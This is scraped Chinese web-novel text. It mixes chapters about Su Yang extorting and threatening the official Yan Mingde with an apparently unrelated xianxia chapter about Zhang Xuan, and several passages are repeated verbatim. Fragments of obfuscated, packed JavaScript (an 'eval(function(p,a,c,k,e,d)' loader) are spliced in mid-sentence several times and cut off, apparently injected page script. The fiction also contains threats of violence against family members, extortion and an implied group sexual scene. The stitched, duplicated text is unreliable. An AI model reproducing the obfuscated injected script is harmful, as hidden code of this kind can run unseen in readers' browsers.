严明德气得浑身发抖,他指着苏阳,哆嗦着嘴唇,半天说不出话来。 “苏二!祸不及家人,你……你懂不懂规矩?”他终于忍不住,嘶吼出声。 苏阳脸上的笑容瞬间消失,取而代之的是一片冰冷。 “规矩?严明德,你跟我讲规矩?”他冷笑一声,“规矩都是人设的!你对我起了杀心,就该做好**的准备!” “我……”严明德还想辩解,却被苏阳粗暴地打断。 “闭嘴!”苏阳猛地一挥手,虎头弯刀的刀尖,直接抵在了严明德的喉咙上。 冰冷的触感让严明德浑身一颤,他甚至能感觉到刀尖已经刺破了皮肤,传来一阵细微的刺痛。 “再敢多说一个字,我现在就送你上路!”苏阳的声音像是从地狱里传来,冰冷、残酷,不带一丝感情。 严明德彻底崩溃了。 他浑身瘫软,一股尿骚味在空气中弥漫开来。 “苏、苏老弟……我、我错了……我……我一定,一定让儿子……给、给你磕头……”他哭丧着脸,结结巴巴地说道,声音里充满了恐惧和绝望。 “哼,别跟我耍花样!”苏阳冷哼一声,收回了虎头弯刀。 “要是让我知道你敢拿庶出的儿子糊弄我,我就把你阉了,扒光了吊在城门口示众!” 严明德听了这话,更是吓得三魂七魄都飞了一半。 他原本就是这么打算的,可现在看来,这条路是彻底走不通了。 他心中哀嚎:这小王八蛋,简直比我还狠! 正当严明德彻底绝望的时候,马车缓缓停了下来。 清阳县城已在眼前。 让严明德更加绝望的是,苏阳带来的那些村民,一个个手里都拿着家伙,可守城的军汉却像是瞎了狗眼,连看都不看一眼,直接就放行了! 平日里,苏阳为了避免不必要的麻烦,都会让手下人把武器藏好。可今天,为了震慑严明德,他特意让手下人把家伙都拿在手里。 快到城门口的时候,为了掩人耳目,才稍稍做了些伪装。 可再怎么伪装,那也是武器啊!只要稍微仔细一点,就能发现端倪。 然而,那些守城的军汉,平时见到严明德,哪个不是点头哈腰,跟孙子见了爷爷似的? 今天,严巡检亲自带人进城,他们哪敢阻拦?更别说检查了。城东,沈府。 雕花木门紧闭,门房紧闭着双眼打着盹。三进的院子,阳光洒在青石板上,有些晃眼。 苏阳带来的人,像一群下山的猛虎,迅速散开。 门口被人把着了,有人控制后门,还有人在院子外巡逻,目光锐利。 严明德站在院子里,额头上布满了细密的汗珠,一颗心提到了嗓子眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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严明德的心,一下子提了起来。 他以为,自己总算能松一口气了。 可他这口气还没松下去,就听苏阳又说道: “看来不必再孝敬那位县太爷了,那严巡检,你是不是得把我的礼给还回来?” 严明德眼前一黑,差点没晕过去。 还? 拿什么还? 那些东西,他一样都没有! 他张了张嘴,想说什么,可却什么也说不出来。 他的心里,像是有一万只蚂蚁在爬,又痒又疼。 苏阳看着严明德的脸色,心里一阵冷笑。 这家伙,不见棺材不掉泪。 要不是自己早有防备,现在恐怕已经成了孤魂野鬼。 对付这种人,就得狠一点,再狠一点! “严巡检,要不……咱们去后宅坐坐?” 苏阳站起身,似笑非笑地看着严明德。 严明德的身体,猛地一颤。 他知道,苏阳这是在威胁他。 如果他不答应,苏阳真的会去后宅。 到时候,会发生什么事情,谁也不知道。 “不……不用了……我给……我给还不行吗?” 严明德的声音,都快哭出来了。 他认命了。 他知道,自己这次是栽了。 栽得彻彻底底。 “这就对了嘛。” 苏阳重新坐了下来,笑眯眯地看着严明德: “和气生财,和气生财嘛。” 严明德低着头,一言不发。 他现在,只想赶紧把这尊瘟神给送走。 可他也知道,苏阳不会这么轻易地放过他。 果然,苏阳又开口了: “严巡检,礼单上的东西,你都准备好了吗?” 严明德的身体,又是一颤。 他知道,自己今天不出点血,是不行了。 可那些东西,他根本就没有啊! 尤其是野猪和熊掌,这年头,有钱都买不到。 “苏阳,这……这……” 严明德支支吾吾,不知道该说什么好。 “这样吧,严巡检,我也不为难你。” 苏阳大度地摆了摆手: “没有的东西,你就折成银子给我吧。” 严明德的嘴角,抽搐了一下。 折成银子? 这跟抢有什么区别? 可他不敢说不。 他只能咬着牙,从牙缝里挤出了一个字: “好……” 最后,严明德东拼西凑,凑出了一百两金子。 当他把金子交给苏阳的时候,感觉自己的心都在滴血。 这些金子,可是他多年的积蓄啊! 就这么被苏阳给搜刮走了! 他这个巡检,当得真是窝囊! 苏阳收了金子,却没有立刻离开。 他拿起笔,在纸上写了起来。 严明德站在一旁,看着苏阳的动作,心里七上八下。 **,苏阳又在搞什么鬼。 很快,苏阳写完了。 他把纸递给严明德,笑眯眯地说道: “严巡检,这可是我的墨宝,你可得好好保管。” 严明德接过纸,低头一看,顿时傻眼了。 只见纸上,歪歪扭扭地写着几个字: “鹅,鹅,鹅,曲项向天歌。” “……” 严明德彻底无语了。 他算是看出来了,苏阳这就是在耍他! 可他能怎么办呢? 他只能打碎了牙,往肚子里咽。 严明德挤出一丝比哭还难看的笑容,颤抖着把那张所谓的“墨宝”收了起来。 吩咐下人好生招待苏阳,他自己则像逃命一样,骑上马,飞奔向县衙。 他现在,只想赶紧把这件事告诉郑县尉。 或许,郑县尉能有办法对付苏阳。 …… 清阳县,县衙。 郑县尉正坐在书房里,品着茶,看着书。 突然,他听到外面传来一阵急促的马蹄声。 紧接着,书房的门被人猛地推开了。 严明德跌跌撞撞地冲了进来,连官帽都歪了。 “明德,你这是怎么了?” 郑县尉吓了一跳,连忙放下茶杯,站起身来问道: “三溪镇怕是出了什么幺蛾子?”“这……这……” 郑县尉的嘴唇哆嗦着,指尖颤抖地指着严明德“啪”一声拍在桌上的白纸。 纸上的那首“鹅鹅鹅”,如同一道晴天霹雳,劈得他外焦里嫩。 毫无防备之下,郑县尉只觉一股凉气从脚底板直窜到天灵盖,眼前一阵发黑。 大元朝民风崇文,上至达官显贵,下至乡野村夫,无不对诗词文章敬若神明。可苏阳这……写的这是什么玩意儿? 简直是对读书人的侮辱! 郑县尉自认才疏学浅,可乍一见这“千古绝句”,也觉得一阵反胃,险些没吐出来。 “嘿嘿…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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半晌,他才缓缓开口: “这么说来,先前那封信,并非苏阳所写?” 严明德连忙点头: “大人英明!苏阳的字迹如此……拙劣,与那封信上的字迹天差地别。 第三百七十五章 严明德吓得魂飞魄散,一股凉气从尾椎骨直窜天灵盖,他甚至能感觉到自己的头发都竖起来了。 苏阳用刀背在严明德的脸上轻轻拍了拍,语气冰冷:“别以为我不知道你打的什么主意。郑县尉派郑掌柜来拉拢我,你觉得我会蠢到转头就去威胁他?动动你的猪脑子想想!” 严明德的脸色一阵青一阵白,嘴唇哆嗦着,却一个字也说不出来。 他忽然意识到,或许从一开始,自己就搞错了。 如果……如果那封信真的不是苏阳写的,苏阳也根本没想过要当什么巡检,那自己……岂不是成了被人利用的棋子? 可……那封信到底是谁写的? “那、那……你说,信不是你写的,你……你拿什么证明?”严明德的声音里带着一丝不确定,他还是不敢完全相信苏阳。 苏阳冷笑一声:“证明?简单得很。我当场写几个字,你拿去给郑县尉,让他比对笔迹,真假立辨。” 严明德想了想,目前似乎也没有更好的办法。 “好……你写。” 苏阳却两手一摊:“我没带纸笔。” 严明德差点一口老血喷出来,他强压下心头的怒火,咬牙切齿地说道:“我……我是被你绑来的!哪来的纸笔给你?” “哎呀,这好办,”苏阳笑眯眯地拍了拍严明德的肩膀,“曹兄别急,等会儿进城,找个地方写就是。顺便,也让我见见我的‘好侄儿’。” “侄儿?”严明德心头一跳,瞬间明白过来,苏阳说的“侄儿”,就是他自己的儿子! 这个小王八蛋,果然是冲着自己家人来的! 严明德的脸色瞬间变得惨白,他强作镇定,干笑道:“苏、苏老弟,你……你在城里,还有亲戚?” 苏阳脸上的笑容越发灿烂:“当然,咱俩可是一起扛过枪的,你的儿子,不就是我的侄儿吗?” 严明德气得浑身发抖,他指着苏阳,哆嗦着嘴唇,半天说不出话来。 “苏二!祸不及家人,你……你懂不懂规矩?”他终于忍不住,嘶吼出声。 苏阳脸上的笑容瞬间消失,取而代之的是一片冰冷。 “规矩?严明德,你跟我讲规矩?”他冷笑一声,“规矩都是人设的!你对我起了杀心,就该做好**的准备!” “我……”严明德还想辩解,却被苏阳粗暴地打断。 “闭嘴!”苏阳猛地一挥手,虎头弯刀的刀尖,直接抵在了严明德的喉咙上。 冰冷的触感让严明德浑身一颤,他甚至能感觉到刀尖已经刺破了皮肤,传来一阵细微的刺痛。 “再敢多说一个字,我现在就送你上路!”苏阳的声音像是从地狱里传来,冰冷、残酷,不带一丝感情。 严明德彻底崩溃了。 他浑身瘫软,一股尿骚味在空气中弥漫开来。 “苏、苏老弟……我、我错了……我……我一定,一定让儿子……给、给你磕头……”他哭丧着脸,结结巴巴地说道,声音里充满了恐惧和绝望。 “哼,别跟我耍花样!”苏阳冷哼一声,收回了虎头弯刀。 “要是让我知道你敢拿庶出的儿子糊弄我,我就把你阉了,扒光了吊在城门口示众!” 严明德听了这话,更是吓得三魂七魄都飞了一半。 他原本就是这么打算的,可现在看来,这条路是彻底走不通了。 他心中哀嚎:这小王八蛋,简直比我还狠! 正当严明德彻底绝望的时候,马车缓缓停了下来。 清阳县城已在眼前。 让严明德更加绝望的是,苏阳带来的那些村民,一个个手里都拿着家伙,可守城的军汉却像是瞎了狗眼,连看都不看一眼,直接就放行了! 平日里,苏阳为了避免不必要的麻烦,都会让手下人把武器藏好。可今天,为了震慑严明德,他特意让手下人把家伙都拿在手里。 快到城门口的时候,为了掩人耳目,才稍稍做了些伪装。 可再怎么伪装,那也是武器啊!只要稍微仔细一点,就能发现端倪。 然而,那些守城的军汉,平时见到严明德,哪个不是点头哈腰,跟孙子见了爷爷似的? 今天,严巡检亲自带人进城,他们哪敢阻拦?更别说检查了。城东,沈府。 雕花木门紧闭,门房紧闭着双眼打着盹。三进的院子,阳光洒在青石板上,有些晃眼。 苏阳带来的人,像一群下山的猛虎,迅速散开。 门口被人把着了,有人控制后门,还有人在院子外巡逻,目光锐利。 严明德站在院子里,额头上布满了细密的汗珠,一颗心提到了嗓子眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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第三百七十六章 行啊。” 苏阳放下橘子,拍了拍手。 严明德的心,一下子提了起来。 他以为,自己总算能松一口气了。 可他这口气还没松下去,就听苏阳又说道: “看来不必再孝敬那位县太爷了,那严巡检,你是不是得把我的礼给还回来?” 严明德眼前一黑,差点没晕过去。 还? 拿什么还? 那些东西,他一样都没有! 他张了张嘴,想说什么,可却什么也说不出来。 他的心里,像是有一万只蚂蚁在爬,又痒又疼。 苏阳看着严明德的脸色,心里一阵冷笑。 这家伙,不见棺材不掉泪。 要不是自己早有防备,现在恐怕已经成了孤魂野鬼。 对付这种人,就得狠一点,再狠一点! “严巡检,要不……咱们去后宅坐坐?” 苏阳站起身,似笑非笑地看着严明德。 严明德的身体,猛地一颤。 他知道,苏阳这是在威胁他。 如果他不答应,苏阳真的会去后宅。 到时候,会发生什么事情,谁也不知道。 “不……不用了……我给……我给还不行吗?” 严明德的声音,都快哭出来了。 他认命了。 他知道,自己这次是栽了。 栽得彻彻底底。 “这就对了嘛。” 苏阳重新坐了下来,笑眯眯地看着严明德: “和气生财,和气生财嘛。” 严明德低着头,一言不发。 他现在,只想赶紧把这尊瘟神给送走。 可他也知道,苏阳不会这么轻易地放过他。 果然,苏阳又开口了: “严巡检,礼单上的东西,你都准备好了吗?” 严明德的身体,又是一颤。 他知道,自己今天不出点血,是不行了。 可那些东西,他根本就没有啊! 尤其是野猪和熊掌,这年头,有钱都买不到。 “苏阳,这……这……” 严明德支支吾吾,不知道该说什么好。 “这样吧,严巡检,我也不为难你。” 苏阳大度地摆了摆手: “没有的东西,你就折成银子给我吧。” 严明德的嘴角,抽搐了一下。 折成银子? 这跟抢有什么区别? 可他不敢说不。 他只能咬着牙,从牙缝里挤出了一个字: “好……” 最后,严明德东拼西凑,凑出了一百两金子。 当他把金子交给苏阳的时候,感觉自己的心都在滴血。 这些金子,可是他多年的积蓄啊! 就这么被苏阳给搜刮走了! 他这个巡检,当得真是窝囊! 苏阳收了金子,却没有立刻离开。 他拿起笔,在纸上写了起来。 严明德站在一旁,看着苏阳的动作,心里七上八下。 **,苏阳又在搞什么鬼。 很快,苏阳写完了。 他把纸递给严明德,笑眯眯地说道: “严巡检,这可是我的墨宝,你可得好好保管。” 严明德接过纸,低头一看,顿时傻眼了。 只见纸上,歪歪扭扭地写着几个字: “鹅,鹅,鹅,曲项向天歌。” “……” 严明德彻底无语了。 他算是看出来了,苏阳这就是在耍他! 可他能怎么办呢? 他只能打碎了牙,往肚子里咽。 严明德挤出一丝比哭还难看的笑容,颤抖着把那张所谓的“墨宝”收了起来。 吩咐下人好生招待苏阳,他自己则像逃命一样,骑上马,飞奔向县衙。 他现在,只想赶紧把这件事告诉郑县尉。 或许,郑县尉能有办法对付苏阳。 …… 清阳县,县衙。 郑县尉正坐在书房里,品着茶,看着书。 突然,他听到外面传来一阵急促的马蹄声。 紧接着,书房的门被人猛地推开了。 严明德跌跌撞撞地冲了进来,连官帽都歪了。 “明德,你这是怎么了?” 郑县尉吓了一跳,连忙放下茶杯,站起身来问道: “三溪镇怕是出了什么幺蛾子?”“这……这……” 郑县尉的嘴唇哆嗦着,指尖颤抖地指着严明德“啪”一声拍在桌上的白纸。 纸上的那首“鹅鹅鹅”,如同一道晴天霹雳,劈得他外焦里嫩。 毫无防备之下,郑县尉只觉一股凉气从脚底板直窜到天灵盖,眼前一阵发黑。 大元朝民风崇文,上至达官显贵,下至乡野村夫,无不对诗词文章敬若神明。可苏阳这……写的这是什么玩意儿? 简直是对读书人的侮辱! 郑县尉自认才疏学浅,可乍一见这“千古绝句”,也觉得一阵反胃,险些没吐出来。 “嘿嘿…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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半晌,他才缓缓开口: “这么说来,先前那封信,并非苏阳所写?” 严明德连忙点头: “大人英明!苏阳的字迹如此……拙劣,与那封信上的字迹天差地别。 第三百七十九章 符福脸上的笑挂不住了,捏着扁担的手,骨节都泛白了。 “符福,我跟你说,男人呐,最怕绿帽子。我给你讲几个故事,保准你听完……” 孙玉哥来了劲头,开始口若悬河,那些个绿油油的故事,一个比一个邪乎。 每个故事,都像一把小刀,在符福心口上割来割去。 符福的脸色,由白转青,由青转黑,跟染了缸似的。 “乔兄弟,别说了……” 符福终于憋不住了,声音沙哑: “我信你……走,逮人去!” 孙玉哥眼中闪过一丝精光,成了!但他还得再加把火: “符福,你等等!那肥掌柜带了两个打手,在茶坊外头守着呢。要不,你等会儿,我去引开他们,你再进去……” 符福一听,感动的差点没哭出来,孙玉哥这兄弟,真是没白交! “符福,你看……这事儿……我总不能白干吧?万一我有个三长两短……” 孙玉哥扭扭捏捏,半天才把话说全。 符福这才回过味儿来,赶紧把还热乎的半筐馒头塞过去: “乔兄弟,你先拿着,不够……” 他摸了摸比脸还干净的钱袋子,有点不好意思: “回头我再给你补上……” “够了,够了!” 孙玉哥抱着馒头,掂了掂,挺沉,心里乐开了花。 他拍了拍符福的肩膀,一脸仗义: “符福,你放心,这事儿交给我!” 说完,脚底抹油,溜了。 符福愣愣地看着孙玉哥远去的方向,心里头,酸甜苦辣咸,啥滋味都有。 过了能有半盏茶的时间,他猛地一拍大腿。 对!逮人! 符福拎起扁担,怒火中烧,直奔张婆茶馆。 到了门外,他傻眼了,孙玉哥还真没吹牛,俩打手真不见了! 符福深吸一口气,压住心头的火苗,猫着腰,凑到门边。 “唔……啊……” 屋里头,声音不大,可架不住周围**静。 符福屏息凝神,把耳朵贴在门缝上。 “小妖精,老子比你家那矮冬瓜,厉害……多少?” 一个粗嗓门,带着股子邪劲儿。 接着,一阵更尖锐的声音,像是回应,又像是…… 符福的脸,绿的能滴出水来。 还用听吗? 光是这声音,就啥都明白了! 符福感觉血往头上涌,脑瓜子嗡嗡的。 他媳妇,他还没正经看过几眼的媳妇,竟然…… “狗东西,老子跟你们没完!” 符福一声怒吼,飞起一脚,踹开了茶坊的门! “都给老子住……手……” 最后一个“手”字还没完全出口,符福的声音就变了调。 他直勾勾地盯着屋里,眼珠子都快瞪出来了。 哪有什么狗男女,分明是一群人! 几个五大三粗的汉子,正围着一个女人,不知道在干啥。 角度问题,符福看不清那女人的脸,只看到一片让人眼晕的白。 要是就两个人,符福可能也就忍了。 可现在…… 这么多人对一个,这是人干的事儿? “都给老子闪开!” 符福怒吼一声,抡起扁担就冲了进去。 他要把这帮畜生全都打趴下,再把那个不要脸的婆娘揪出来,好好问问她! 可他刚挨到一个汉子的后背,那汉子猛一回头,抬腿就是一脚! 正中符福胸口! “啊——” 符福一声惨叫,整个人像被踢飞的破麻袋,飞出了门外。 “扑通”一声,符福摔在茶坊外的地上,咕噜噜滚了好几圈才停下。 一口血,从他嘴里喷出来,在青石板上染出一朵刺眼的红花。 这么大的动静,早就把街坊邻居都给招来了。 一个个抻着脖子,瞪着眼睛,往这边看热闹。 “哎呦,这不是符福吗?” “他咋从张婆屋里飞出来了?” “这是……挨揍了?” “……” 街坊四邻,你一言我一语,指指点点,就是没人上来扶一把。 平时,这些人就没少在背后嚼符福的舌头根子。 谁让符福这矮矬子,走了八辈子狗屎运,娶了个天仙似的媳妇呢? 男人羡慕嫉妒恨,巴不得符福早点死,好给他们腾地方。 女人们更是眼红,生怕自家男人被勾了魂,恨不得符福两口子赶紧滚蛋。 如今符福倒了霉,这些人心里别提多舒坦了。 更何况,这事儿还带着桃色,更是让这些闲得发慌的家伙们兴奋不已。 一个个挤眉弄眼,窃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我说什么来着,符福媳妇就不是个省油的灯!这下好了,光天化日之下就敢偷汉子,真是世风日下,人心不古啊!”人群里,一个尖嘴猴腮的汉子阴阳怪气地说道。 “可不咋地,真没看出来,符福媳妇平时闷声不响的,骨子里这么浪! 第三百八十章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 